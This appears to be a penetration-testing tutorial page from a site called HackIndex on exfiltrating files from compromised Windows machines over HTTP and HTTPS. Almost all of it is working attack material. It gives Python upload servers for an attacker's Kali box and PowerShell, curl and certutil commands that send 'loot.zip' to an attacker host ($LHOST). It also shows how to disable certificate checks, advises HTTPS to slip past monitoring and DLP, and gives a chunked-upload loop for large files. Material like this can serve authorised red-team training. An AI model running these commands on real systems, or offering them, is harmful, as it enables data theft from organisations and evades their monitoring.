Skip to content
HackIndex logo

HackIndex

Windows Exfiltration over HTTP and HTTPS

3 min read May 15, 2026

HTTP and HTTPS are the most reliable exfiltration channels on Windows targets. Outbound port 80 and 443 are open on almost every network. HTTPS in particular blends with normal browser traffic and is rarely inspected in depth. Use HTTPS when any form of network monitoring or DLP is suspected.

Receiving files on your attack box

Set up a server on your attack box before initiating any transfer from the target.

┌──(kali㉿kali)-[~]
└─$ # Simple Python upload server — accepts PUT and POST
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import http.server, os
class H(http.server.BaseHTTPRequestHandler):
def do_PUT(self):
l = int(self.headers['Content-Length'])
d = self.rfile.read(l)
f = os.path.basename(self.path)
open(f,'wb').write(d)
self.send_response(200); self.end_headers()
print(f'Received: {f} ({len(d)} bytes)')
def do_POST(self):
self.do_PUT()
http.server.HTTPServer(('0.0.0.0',8080),H).serve_forever()
"
 
┌──(kali㉿kali)-[~]
└─$ # Or use uploadserver pip package
┌──(kali㉿kali)-[~]
└─$ pipx install uploadserver
┌──(kali㉿kali)-[~]
└─$ python3 -m uploadserver 8080

Uploading from the target

PS C:\Users\Guest\Desktop> # PowerShell WebClient PUT
PS C:\Users\Guest\Desktop> $wc = New-Object System.Net.WebClient
PS C:\Users\Guest\Desktop> $wc.UploadFile('http://$LHOST:8080/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')
 
PS C:\Users\Guest\Desktop> # Invoke-WebRequest POST
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri 'http://$LHOST:8080/loot.zip' -Method PUT -InFile 'C:\Windows\Temp\loot.zip'
 
PS C:\Users\Guest\Desktop> # curl (available on Windows 10 1803 and later)
PS C:\Users\Guest\Desktop> curl -X PUT http://$LHOST:8080/loot.zip -T C:\Windows\Temp\loot.zip
 
PS C:\Users\Guest\Desktop> # certutil base64 encode and POST (fallback when binary transfer is blocked)
PS C:\Users\Guest\Desktop> certutil -encode C:\Windows\Temp\loot.zip C:\Windows\Temp\loot.b64
PS C:\Users\Guest\Desktop> $b64 = Get-Content C:\Windows\Temp\loot.b64 -Raw
PS C:\Users\Guest\Desktop> Invoke-WebRequest -Uri 'http://$LHOST:8080/loot.b64' -Method POST -Body $b64

HTTPS exfiltration

Use HTTPS when HTTP traffic is monitored or filtered. A self-signed certificate is sufficient — the goal is encryption of the payload, not certificate validation.

┌──(kali㉿kali)-[~]
└─$ # Generate self-signed certificate
┌──(kali㉿kali)-[~]
└─$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes -subj "/CN=localhost"
 
┌──(kali㉿kali)-[~]
└─$ # Python HTTPS upload server
┌──(kali㉿kali)-[~]
└─$ python3 -c "
import http.server, ssl, os
class H(http.server.BaseHTTPRequestHandler):
def do_PUT(self):
l = int(self.headers['Content-Length'])
d = self.rfile.read(l)
f = os.path.basename(self.path)
open(f,'wb').write(d)
self.send_response(200); self.end_headers()
srv = http.server.HTTPServer(('0.0.0.0',443),H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('cert.pem','key.pem')
srv.socket = ctx.wrap_socket(srv.socket,server_side=True)
srv.serve_forever()
"
PS C:\Users\Guest\Desktop> # Ignore certificate errors for self-signed cert
PS C:\Users\Guest\Desktop> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
 
PS C:\Users\Guest\Desktop> $wc = New-Object System.Net.WebClient
PS C:\Users\Guest\Desktop> $wc.UploadFile('https://$LHOST/loot.zip', 'PUT', 'C:\Windows\Temp\loot.zip')
 
PS C:\Users\Guest\Desktop> # curl with insecure flag
PS C:\Users\Guest\Desktop> curl -k -X PUT https://$LHOST/loot.zip -T C:\Windows\Temp\loot.zip

Chunked transfer for large files

When file size or connection timeouts are a concern, split the archive into chunks and send each separately.

# Split file into 10MB chunks
$file = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\loot.zip')
$chunkSize = 10MB
$chunks = [Math]::Ceiling($file.Length / $chunkSize)
for ($i = 0; $i -lt $chunks; $i++) {
    $start = $i * $chunkSize
    $length = [Math]::Min($chunkSize, $file.Length - $start)
    $chunk = $file[$start..($start + $length - 1)]
    [System.IO.File]::WriteAllBytes("C:\Windows\Temp\chunk_$i.bin", $chunk)
    $wc = New-Object System.Net.WebClient
    $wc.UploadFile("http://$LHOST:8080/chunk_$i.bin", 'PUT', "C:\Windows\Temp\chunk_$i.bin")
    Remove-Item "C:\Windows\Temp\chunk_$i.bin"
}
┌──(kali㉿kali)-[~]
└─$ # Reassemble in order
┌──(kali㉿kali)-[~]
└─$ cat chunk_0.bin chunk_1.bin chunk_2.bin > loot.zip
 
┌──(kali㉿kali)-[~]
└─$ # Or with find for many chunks
┌──(kali㉿kali)-[~]
└─$ for i in $(seq 0 $(($(ls chunk_*.bin | wc -l)-1))); do cat chunk_$i.bin; done > loot.zip